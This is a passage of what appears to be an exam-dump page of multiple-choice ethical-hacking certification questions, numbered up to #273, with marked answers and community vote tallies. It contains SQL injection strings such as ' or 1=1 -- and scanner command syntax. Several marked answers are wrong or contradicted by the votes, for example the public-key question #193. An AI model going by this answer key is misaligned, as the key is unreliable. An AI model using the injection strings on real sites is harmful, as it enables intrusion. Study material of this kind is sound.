B. select * from Users where UserName = 'attack' or 1=1 -- and UserPassword = '123456'

C. select * from Users where UserName = 'attack or 1=1 -- and UserPassword = '123456'

D. select * from Users where UserName = 'attack' or 1=1 --' and UserPassword = '123456'

Correct Answer: *A*

Community vote distribution

D (100%)

Question #185 *Topic 1*

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.
What tests would you perform to determine whether his computer is infected?

A. Upload the file to VirusTotal.

B. You do not check; rather, you immediately restore a previous snapshot of the operating system.

C. Use ExifTool and check for malicious content.

D. Use netstat and check for outgoing connections to strange IP addresses or domains.

Correct Answer: *A*

Community vote distribution

D (60%) A (40%)

Question #186 *Topic 1*

An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim's data. What type of attack is this?

A. Vishing

B. Phishing

C. DDoS

D. Spoofing

Correct Answer: *B*

Question #187 *Topic 1*

A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete.
Which attack is being described here?

A. Desynchronization

B. Slowloris attack

C. Session splicing

D. Phlashing

Correct Answer: *B*

Community vote distribution

B (100%)

Question #188 *Topic 1*

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique.
Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.
What is the attack performed by Boney in the above scenario?

A. Forbidden attack

B. CRIME attack

C. Session donation attack

D. Session fixation attack

Correct Answer: *D*

Community vote distribution

C (73%) D (27%)

Question #189 *Topic 1*

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.
What is the type of web-service API mentioned in the above scenario?

A. RESTful API

B. JSON-RPC

C. SOAP API

D. REST API

Correct Answer: *A*

Question #190 *Topic 1*

Daniel is a professional hacker who is attempting to perform an SQL injection attack on a target website, www.moviescope.com. During this process, he encountered an IDS that detects SQL injection attempts based on predefined signatures. To evade any comparison statement, he attempted placing characters such as `'or `~1'=`~1'` in any basic injection statement such as `or 1=1.`
Identify the evasion technique used by Daniel in the above scenario.

A. Char encoding

B. IP fragmentation

C. Variation

D. Null byte

Correct Answer: *C*

Community vote distribution

C (100%)

Question #191 *Topic 1*

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information.
What is the attack technique employed by Jane in the above scenario?

A. Session hijacking

B. Website mirroring

C. Website defacement

D. Web cache poisoning

Correct Answer: *B*

Question #192 *Topic 1*

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the essential information regarding her company.
What is the social engineering technique Steve employed in the above scenario?

A. Baiting

B. Piggybacking

C. Diversion theft

D. Honey trap

Correct Answer: *A*

Community vote distribution

D (100%)

Question #193 *Topic 1*

Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses _____ to encrypt the message, and Bryan uses _____ to confirm the digital signature.

A. Bryan's public key; Bryan's public key

B. Alice's public key; Alice's public key

C. Bryan's private key; Alice's public key

D. Bryan's public key; Alice's public key

Correct Answer: *B*

Community vote distribution

D (100%)

Question #194 *Topic 1*

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN,
Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently,
Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob.
What is the type of attack performed by Samuel in the above scenario?

A. TCP/IP hijacking

B. Blind hijacking

C. UDP hijacking

D. Forbidden attack

Correct Answer: *A*

Community vote distribution

A (64%) B (36%)

Question #195 *Topic 1*

If you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST, what do you know about the firewall you are scanning?

A. It is a non-stateful firewall.

B. There is no firewall in place.

C. It is a stateful firewall.

D. This event does not tell you anything about the firewall.

Correct Answer: *D*

Community vote distribution

C (73%) D (27%)

Question #196 *Topic 1*

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.
What is the APT lifecycle phase that Harry is currently executing?

A. Initial intrusion

B. Persistence

C. Cleanup

D. Preparation

Correct Answer: *A*

Community vote distribution

A (100%)

Question #197 *Topic 1*

In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

A. 4.0-6.0

B. 3.9-6.9

C. 3.0-6.9

D. 4.0-6.9

Correct Answer: *D*

Question #198 *Topic 1*

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, `Learn more about your friends!`, as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.
What most likely happened?

A. Matt inadvertently provided the answers to his security questions when responding to the post.

B. Matt inadvertently provided his password when responding to the post.

C. Matt's computer was infected with a keylogger.

D. Matt's bank-account login information was brute forced.

Correct Answer: *A*

Question #199 *Topic 1*

Robin, an attacker, is attempting to bypass the firewalls of an organization through the DNS tunneling method in order to exfiltrate data. He is using the NSTX tool for bypassing the firewalls.
On which of the following ports should Robin run the NSTX tool?

A. Port 50

B. Port 23

C. Port 53

D. Port 80

Correct Answer: *C*

Question #200 *Topic 1*

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

A. AndroidManifest.xml

B. classes.dex

C. APK.info

D. resources.asrc

Correct Answer: *A*

Question #201 *Topic 1*

What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

A. The attacker queries a nameserver using the DNS resolver.

B. The attacker uses TCP to poison the DNS resolver.

C. The attacker makes a request to the DNS resolver.

D. The attacker forges a reply from the DNS resolver.

Correct Answer: *A*

Community vote distribution

D (50%) C (25%) A (25%)

Question #202 *Topic 1*

Ethical hacker Jane Doe is attempting to crack the password of the head of the IT department of ABC company. She is utilizing a rainbow table and notices upon entering a password that extra characters are added to the password after submitting.
What countermeasure is the company using to protect against rainbow tables?

A. Account lockout

B. Password hashing

C. Password key hashing

D. Password salting

Correct Answer: *D*

Question #203 *Topic 1*

Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.
What is the online tool employed by Clark in the above scenario?

A. DuckDuckGo

B. AOL

C. ARIN

D. Baidu

Correct Answer: *C*

Question #204 *Topic 1*

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-
SHA384, and ECDSA using a 384-bit elliptic curve.
Which is this wireless security protocol?

A. WPA3-Personal

B. WPA3-Enterprise

C. WPA2-Enterprise

D. WPA2-Personal

Correct Answer: *B*

Community vote distribution

B (100%)

Question #205 *Topic 1*

Scenario: Joe turns on his home computer to access personal online banking. When he enters the URL www.bank.com, the website is displayed, but it prompts him to re-enter his credentials as if he has never visited the site before. When he examines the website URL closer, he finds that the site is not secure and the web address appears different.
What type of attack he is experiencing?

A. DHCP spoofing

B. DoS attack

C. ARP cache poisoning

D. DNS hijacking

Correct Answer: *D*

Question #206 *Topic 1*

Henry is a cyber security specialist hired by BlackEye `" Cyber Security Solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unicornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which indicates that the target system is running a Windows
OS.
Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

A. 128

B. 255

C. 64

D. 138

Correct Answer: *A*

Question #207 *Topic 1*

What are common files on a web server that can be misconfigured and provide useful information for a hacker such as verbose error messages?

A. httpd.conf

B. administration.config

C. php.ini

D. idq.dll

Correct Answer: *C*

Community vote distribution

C (100%)

Question #208 *Topic 1*

Abel, a security professional, conducts penetration testing in his client organization to check for any security loopholes. He launched an attack on the DHCP servers by broadcasting forged DHCP requests and leased all the DHCP addresses available in the DHCP scope until the server could not issue any more IP addresses. This led to a DoS attack, and as a result, legitimate employees were unable to access the client's network. Which of the following attacks did Abel perform in the above scenario?

A. Rogue DHCP server attack

B. VLAN hopping

C. STP attack

D. DHCP starvation

Correct Answer: *D*

Community vote distribution

D (100%)

Question #209 *Topic 1*

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

A. CPU

B. UEFI

C. GPU

D. TPM

Correct Answer: *D*

Question #210 *Topic 1*

Based on the below log, which of the following sentences are true?
Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip

A. Application is FTP and 10.240.250.23 is the client and 10.249.253.15 is the server.

B. Application is SSH and 10.240.250.23 is the server and 10.249.253.15 is the client.

C. SSH communications are encrypted; it's impossible to know who is the client or the server.

D. Application is SSH and 10.240.250.23 is the client and 10.249.253.15 is the server.

Correct Answer: *D*

Question #211 *Topic 1*

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services.
Which of the following types of MIB is accessed by Garry in the above scenario?

A. LNMIB2.MIB

B. DHCP.MIB

C. MIB_II.MIB

D. WINS.MIB

Correct Answer: *A*

Question #212 *Topic 1*

You have been authorized to perform a penetration test against a website. You want to use Google dorks to footprint the site but only want results that show file extensions.
What Google dork operator would you use?

A. inurl

B. site

C. ext

D. filetype

Correct Answer: *D*

Question #213 *Topic 1*

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

A. Bluesmacking

B. Bluesnarfing

C. Bluejacking

D. Bluebugging

Correct Answer: *B*

Community vote distribution

B (100%)

Question #214 *Topic 1*

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.
Which phase of the vulnerability-management life cycle is David currently in?

A. Remediation

B. Verification

C. Risk assessment

D. Vulnerability scan

Correct Answer: *A*

Question #215 *Topic 1*

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website.
What is the attack performed by Bobby in the above scenario?

A. aLTEr attack

B. Jamming signal attack

C. Wardriving

D. KRACK attack

Correct Answer: *A*

Question #216 *Topic 1*

Attacker Lauren has gained the credentials of an organization's internal server system, and she was often logging in during irregular times to monitor the network activities. The organization was skeptical about the login times and appointed security professional Robert to determine the issue. Robert analyzed the compromised device to find incident details such as the type of attack, its severity, target, impact, method of propagation, and vulnerabilities exploited.
What is the incident handling and response (IH&R) phase, in which Robert has determined these issues?

A. Incident triage

B. Preparation

C. Incident recording and assignment

D. Eradication

Correct Answer: *A*

Question #217 *Topic 1*

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161.
What protocol is this port using and how can he secure that traffic?

A. RPC and the best practice is to disable RPC completely.

B. SNMP and he should change it to SNMP V3.

C. SNMP and he should change it to SNMP V2, which is encrypted.

D. It is not necessary to perform any actions, as SNMP is not carrying important information.

Correct Answer: *B*

Question #218 *Topic 1*

Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this, James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks.
What is the tool employed by James in the above scenario?

A. ophcrack

B. VisualRoute

C. Hootsuite

D. HULK

Correct Answer: *C*

Community vote distribution

C (100%)

Question #219 *Topic 1*

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection.
Identify the behavior of the adversary in the above scenario.

A. Unspecified proxy activities

B. Use of command-line interface

C. Data staging

D. Use of DNS tunneling

Correct Answer: *A*

Community vote distribution

A (100%)

Question #220 *Topic 1*

Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application.
What type of attack is Ricardo performing?

A. Brute force

B. Known plaintext

C. Dictionary

D. Password spraying

Correct Answer: *C*

Community vote distribution

C (100%)

Question #221 *Topic 1*

Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cache poisoning by exploiting the vulnerabilities in the DNS server software and modified the original IP address of the target website to that of a fake website.
What is the technique employed by Steve to gather information for identity theft?

A. Pharming

B. Skimming

C. Pretexting

D. Wardriving

Correct Answer: *A*

Community vote distribution

A (100%)

Question #222 *Topic 1*

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to.
What type of hacker is Nicolas?

A. Black hat

B. White hat

C. Gray hat

D. Red hat

Correct Answer: *B*

Community vote distribution

C (57%) B (39%) 4%

Question #223 *Topic 1*

Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server.
What is the type of attack Jason performed in the above scenario?

A. Web server misconfiguration

B. Server-side request forgery (SSRF) attack

C. Web cache poisoning attack

D. Website defacement

Correct Answer: *B*

Question #224 *Topic 1*

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the
SSID `Brakeme-Internal.` You realize that this network uses WPA3 encryption.
Which of the following vulnerabilities is the promising to exploit?

A. Cross-site request forgery

B. Dragonblood

C. Key reinstallation attack

D. AP misconfiguration

Correct Answer: *B*

Question #225 *Topic 1*

While testing a web application in development, you notice that the web server does not properly ignore the `dot dot slash` (../) character string and instead returns the file listing of a folder higher up in the folder structure of the server.
What kind of attack is possible in this scenario?

A. Cross-site scripting

B. SQL injection

C. Denial of service

D. Directory traversal

Correct Answer: *D*

Question #226 *Topic 1*

Sam, a professional hacker, targeted an organization with intention of compromising AWS IAM credentials. He attempted to lure one of the employees of the organization by initiating fake calls while posing as a legitimate employee. Moreover, he sent phishing emails to steal the AWS IAM credentials and further compromise the employee's account.
What is the technique used by Sam to compromise the AWS IAM credentials?

A. Insider threat

B. Social engineering

C. Password reuse

D. Reverse engineering

Correct Answer: *B*

Question #227 *Topic 1*

John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the organization.
Which of the following attack techniques is used by John?

A. Insider threat

B. Diversion theft

C. Spear-phishing sites

D. Advanced persistent threat

Correct Answer: *D*

Question #228 *Topic 1*

What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

A. Packet fragmentation scanning

B. Spoof source address scanning

C. Decoy scanning

D. Idle scanning

Correct Answer: *D*

Question #229 *Topic 1*

Which IOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after each successive reboot?

A. Tethered jailbreaking

B. Semi-untethered jailbreaking

C. Semi-tethered jailbreaking

D. Untethered jailbreaking

Correct Answer: *D*

Question #230 *Topic 1*

Susan, a software developer, wants her web API to update other applications with the latest information. For this purpose, she uses a user-defined HTTP callback or push APIs that are raised based on trigger events; when invoked, this feature supplies data to other applications so that users can instantly receive real-time information.
Which of the following techniques is employed by Susan?

A. Web shells

B. Webhooks

C. REST API

D. SOAP API

Correct Answer: *B*

Question #231 *Topic 1*

After an audit, the auditors inform you that there is a critical finding that you must tackle immediately. You read the audit report, and the problem is the service running on port 389.
Which service is this and how can you tackle the problem?

A. The service is NTP, and you have to change it from UDP to TCP in order to encrypt it.

B. The service is LDAP, and you must change it to 636, which is LDAPS.

C. The findings do not require immediate actions and are only suggestions.

D. The service is SMTP, and you must change it to SMIME, which is an encrypted way to send emails.

Correct Answer: *B*

Question #232 *Topic 1*

Larry, a security professional in an organization, has noticed some abnormalities in the user accounts on a web server. To thwart evolving attacks, he decided to harden the security of the web server by adopting a few countermeasures to secure the accounts on the web server.
Which of the following countermeasures must Larry implement to secure the user accounts on the web server?

A. Retain all unused modules and application extensions.

B. Limit the administrator or root-level access to the minimum number of users.

C. Enable all non-interactive accounts that should exist but do not require interactive login.

D. Enable unused default user accounts created during the installation of an OS.

Correct Answer: *B*

Question #233 *Topic 1*

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network.
What is the type of vulnerability assessment that Morris performed on the target organization?

A. Credentialed assessment

B. Internal assessment

C. External assessment

D. Passive assessment

Correct Answer: *D*

Question #234 *Topic 1*

What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

A. Performing content enumeration using the bruteforce mode and 10 threads

B. Performing content enumeration using the bruteforce mode and random file extensions

C. Skipping SSL certificate verification

D. Performing content enumeration using a wordlist

Correct Answer: *D*

Question #235 *Topic 1*

Bob was recently hired by a medical company after it experienced a major cyber security breach. Many patients are complaining that their personal medical records are fully exposed on the Internet and someone can find them with a simple Google search. Bob's boss is very worried because of regulations that protect those data.
Which of the following regulations is mostly violated?

A. PCI DSS

B. PII

C. ISO 2002

D. HIPPA/PHI

Correct Answer: *D*

Question #236 *Topic 1*

Allen, a professional pen tester, was hired by XpertTech Solutions to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. By enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration.
Identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

A. <00>

B. <20>

C. <03>

D. <1B>

Correct Answer: *C*

Question #237 *Topic 1*

Robin, a professional hacker, targeted an organization's network to sniff all the traffic. During this process, Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the network.
What is the attack performed by Robin in the above scenario?

A. ARP spoofing attack

B. STP attack

C. DNS poisoning attack

D. VLAN hopping attack

Correct Answer: *B*

Question #238 *Topic 1*

During the enumeration phase, Lawrence performs banner grabbing to obtain information such as OS details and versions of services running. The service that he enumerated runs directly on TCP port 445.
Which of the following services is enumerated by Lawrence in this scenario?

A. Remote procedure call (RPC)

B. Telnet

C. Server Message Block (SMB)

D. Network File System (NFS)

Correct Answer: *C*

Community vote distribution

C (100%)

Question #239 *Topic 1*

John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker installed a scanner on a machine belonging to one of the victims and scanned several machines on the same network to identify vulnerabilities to perform further exploitation.
What is the type of vulnerability assessment tool employed by John in the above scenario?

A. Agent-based scanner

B. Network-based scanner

C. Cluster scanner

D. Proxy scanner

Correct Answer: *A*

Community vote distribution

A (100%)

Question #240 *Topic 1*

Which of the following protocols can be used to secure an LDAP service against anonymous queries?

A. NTLM

B. RADIUS

C. WPA

D. SSO

Correct Answer: *B*

Community vote distribution

A (100%)

Question #241 *Topic 1*

Richard, an attacker, aimed to hack IoT devices connected to a target network. In this process, Richard recorded the frequency required to share information between connected devices. After obtaining the frequency, he captured the original data when commands were initiated by the connected devices. Once the original data were collected, he used free tools such as URH to segregate the command sequence. Subsequently, he started injecting the segregated command sequence on the same frequency into the IoT network, which repeats the captured signals of the devices.
What is the type of attack performed by Richard in the above scenario?

A. Cryptanalysis attack

B. Reconnaissance attack

C. Side-channel attack

D. Replay attack

Correct Answer: *D*

Question #242 *Topic 1*

There have been concerns in your network that the wireless network component is not sufficiently secure. You perform a vulnerability scan of the wireless network and find that it is using an old encryption protocol that was designed to mimic wired encryption.
What encryption protocol is being used?

A. RADIUS

B. WPA

C. WEP

D. WPA3

Correct Answer: *C*

Community vote distribution

C (100%)

Question #243 *Topic 1*

Widespread fraud at Enron, WorldCom, and Tyco led to the creation of a law that was designed to improve the accuracy and accountability of corporate disclosures. It covers accounting firms and third parties that provide financial services to some organizations and came into effect in 2002. This law is known by what acronym?

A. SOX

B. FedRAMP

C. HIPAA

D. PCI DSS

Correct Answer: *A*

Question #244 *Topic 1*

Consider the following Nmap output:
Starting Nmap X.XX (http://nmap.org) at XXX-XX-XX XX:XX EDT
Nmap scan report for 192.168.1.42 Host is up (0.00023s latency).
Not shown: 932 filtered ports, 56 closed ports

PORT STATE SERVICE -
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
143/tcp open imap
443/tcp open https
465/tcp open smtps
587/tcp open submission
993/tcp open imaps
995/tcp open pop3s
Nmap done: 1 IP address (1 host up) scanned in 3.90 seconds
What command-line parameter could you use to determine the type and version number of the web server?

A. -sV

B. -sS

C. -Pn

D. -V

Correct Answer: *A*

Community vote distribution

A (67%) C (33%)

Question #245 *Topic 1*

A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by
Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors.
What is the type of vulnerability assessment performed by Martin?

A. Database assessment

B. Host-based assessment

C. Credentialed assessment

D. Distributed assessment

Correct Answer: *B*

Question #246 *Topic 1*

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m.
What is the short-range wireless communication technology George employed in the above scenario?

A. LPWAN

B. MQTT

C. NB-IoT

D. Zigbee

Correct Answer: *D*

Question #247 *Topic 1*

You want to analyze packets on your wireless network. Which program would you use?

A. Airsnort with Airpcap

B. Wireshark with Airpcap

C. Wireshark with Winpcap

D. Ethereal with Winpcap

Correct Answer: *B*

Community vote distribution

C (100%)

Question #248 *Topic 1*

When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?

A. Capturing a network traffic for further analysis

B. Collecting unencrypted information about usernames and passwords

C. Modifying and replaying captured network traffic

D. Identifying operating systems, services, protocols and devices

Correct Answer: *C*

Question #249 *Topic 1*

An unauthorized individual enters a building following an employee through the employee entrance after the lunch rush. What type of breach has the individual just performed?

A. Piggybacking

B. Announced

C. Tailgating

D. Reverse Social Engineering

Correct Answer: *C*

Community vote distribution

A (67%) C (33%)

Question #250 *Topic 1*

Which of these is capable of searching for and locating rogue access points?

A. NIDS

B. HIDS

C. WISS

D. WIPS

Correct Answer: *D*

Question #251 *Topic 1*

You are tasked to configure the DHCP server to lease the last 100 usable IP addresses in subnet 10.1.4.0/23.
Which of the following IP addresses could be leased as a result of the new configuration?

A. 10.1.255.200

B. 10.1.4.156

C. 10.1.4.254

D. 10.1.5.200

Correct Answer: *D*

Question #252 *Topic 1*

You want to do an ICMP scan on a remote computer using hping2. What is the proper syntax?

A. hping2 -1 host.domain.com

B. hping2 host.domain.com

C. hping2 -I host.domain.com

D. hping2 --set-ICMP host.domain.com

Correct Answer: *A*

Question #253 *Topic 1*

An Internet Service Provider (ISP) has a need to authenticate users connecting via analog modems, Digital Subscriber Lines (DSL), wireless data services, and
Virtual Private Networks (VPN) over a Frame Relay network.
Which AAA protocol is the most likely able to handle this requirement?

A. RADIUS

B. Kerberos

C. DIAMETER

D. TACACS+

Correct Answer: *A*

Question #254 *Topic 1*

Which of the following options represents a conceptual characteristic of an anomaly-based IDS over a signature-based IDS?

A. Cannot deal with encrypted network traffic

B. Requires vendor updates for new threats

C. Can identify unknown attacks

D. Produces less false positives

Correct Answer: *C*

Question #255 *Topic 1*

Cross-site request forgery involves:

A. A request sent by a malicious user from a browser to a server

B. A server making a request to another server without the user's knowledge

C. Modification of a request by a proxy between client and server.

D. A browser making a request to a server without the user's knowledge

Correct Answer: *D*

Question #256 *Topic 1*

Which of the following is considered an exploit framework and has the ability to perform automated attacks on services, ports, applications and unpatched security flaws in a computer system?

A. Maltego

B. Wireshark

C. Nessus

D. Metasploit

Correct Answer: *D*

Question #257 *Topic 1*

A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted. Which cryptography attack is the student attempting?

A. Man-in-the-middle attack

B. Brute-force attack

C. Dictionary attack

D. Session hijacking

Correct Answer: *C*

Question #258 *Topic 1*

During the process of encryption and decryption, what keys are shared?

A. Public keys

B. Private keys

C. Public and private keys

D. User passwords

Correct Answer: *A*

Question #259 *Topic 1*

You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity. What tool would you most likely select?

A. Snort

B. Cain & Abel

C. Nessus

D. Nmap

Correct Answer: *A*

Question #260 *Topic 1*

You are logged in as a local admin on a Windows 7 system, and you need to launch the Computer Management Console from the command line. Which command would you use?

A. c:\compmgmt.msc

B. c:\ncpa.cpl

C. c:\gpedit

D. c:\services.msc

Correct Answer: *A*

Question #261 *Topic 1*

Which of the following scanning method splits the TCP header into several packets and makes it difficult for packet filters to detect the purpose of the packet?

A. ACK flag probe scanning

B. ICMP Echo scanning

C. SYN/FIN scanning using IP fragments

D. IPID scanning

Correct Answer: *C*

Question #262 *Topic 1*

You have compromised a server and successfully gained a root access. You want to pivot and pass traffic undetected over the network and evade any possible
Intrusion Detection System. What is the best approach?

A. Use Alternate Data Streams to hide the outgoing packets from this server.

B. Use HTTP so that all traffic can be routed vis a browser, thus evading the internal Intrusion Detection Systems.

C. Install Cryptcat and encrypt outgoing packets from this server.

D. Install and use Telnet to encrypt all outgoing traffic from this server.

Correct Answer: *C*

Question #263 *Topic 1*

A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.
Which sort of trojan infects this server?

A. Botnet Trojan

B. Banking Trojans

C. Turtle Trojans

D. Ransomware Trojans

Correct Answer: *A*

Question #264 *Topic 1*

How can rainbow tables be defeated?

A. Use of non-dictionary words

B. All uppercase character passwords

C. Password salting

D. Lockout accounts under brute force password cracking attempts

Correct Answer: *C*

Question #265 *Topic 1*

Bob, your senior colleague, has sent you a mail regarding a deal with one of the clients. You are requested to accept the offer and you oblige. After 2 days, Bab denies that he had ever sent a mail. What do you want to ``know`` to prove yourself that it was Bob who had send a mail?

A. Non-Repudiation

B. Integrity

C. Authentication

D. Confidentiality

Correct Answer: *A*

Question #266 *Topic 1*

Attempting an injection attack on a web server based on responses to True/False questions is called which of the following?

A. Compound SQLi

B. Blind SQLi

C. Classic SQLi

D. DMS-specific SQLi

Correct Answer: *B*

Community vote distribution

B (100%)

Question #267 *Topic 1*

The security administrator of ABC needs to permit Internet traffic in the host 10.0.0.2 and UDP traffic in the host 10.0.0.3. He also needs to permit all FTP traffic to the rest of the network and deny all other traffic. After he applied his ACL configuration in the router, nobody can access the ftp, and the permitted hosts cannot access the Internet. According to the next configuration, what is happening in the network? access-list 102 deny tcp any any access-list 104 permit udp host 10.0.0.3 any access-list 110 permit tcp host 10.0.0.2 eq www any access-list 108 permit tcp any eq ftp any

A. The ACL 104 needs to be first because is UDP

B. The first ACL is denying all TCP traffic and the other ACLs are being ignored by the router

C. The ACL for FTP must be before the ACL 110

D. The ACL 110 needs to be changed to port 80

Correct Answer: *B*

Question #268 *Topic 1*

Which of the following provides a security professional with most information about the system's security posture?

A. Phishing, spamming, sending trojans

B. Social engineering, company site browsing tailgating

C. Wardriving, warchalking, social engineering

D. Port scanning, banner grabbing service identification

Correct Answer: *D*

Question #269 *Topic 1*

Firewalls are the software or hardware systems that are able to control and monitor the traffic coming in and out the target network based on pre-defined set of rules. Which of the following types of firewalls can protect against SQL injection attacks?

A. Data-driven firewall

B. Packet firewall

C. Web application firewall

D. Stateful firewall

Correct Answer: *C*

Question #270 *Topic 1*

An attacker scans a host with the below command. Which three flags are set?
nmap -sX host.domain.com

A. This is SYN scan. SYN flag is set.

B. This is Xmas scan. URG, PUSH and FIN are set.

C. This is ACK scan. ACK flag is set.

D. This is Xmas scan. SYN and ACK flags are set.

Correct Answer: *B*

Question #271 *Topic 1*

If executives are found liable for not properly protecting their company's assets and information systems, what type of law would apply in this situation?

A. Criminal

B. International

C. Common

D. Civil

Correct Answer: *D*

Question #272 *Topic 1*

Which access control mechanism allows for multiple systems to use a central authentication server (CAS) that permits users to authenticate once and gain access to multiple systems?

A. Role Based Access Control (RBAC)

B. Discretionary Access Control (DAC)

C. Single sign-on

D. Windows authentication

Correct Answer: *C*

Question #273 *Topic 1*

What would you enter if you wanted to perform a stealth scan using Nmap?

A. nmap -sM

B. nmap -sU

C. nmap -sS

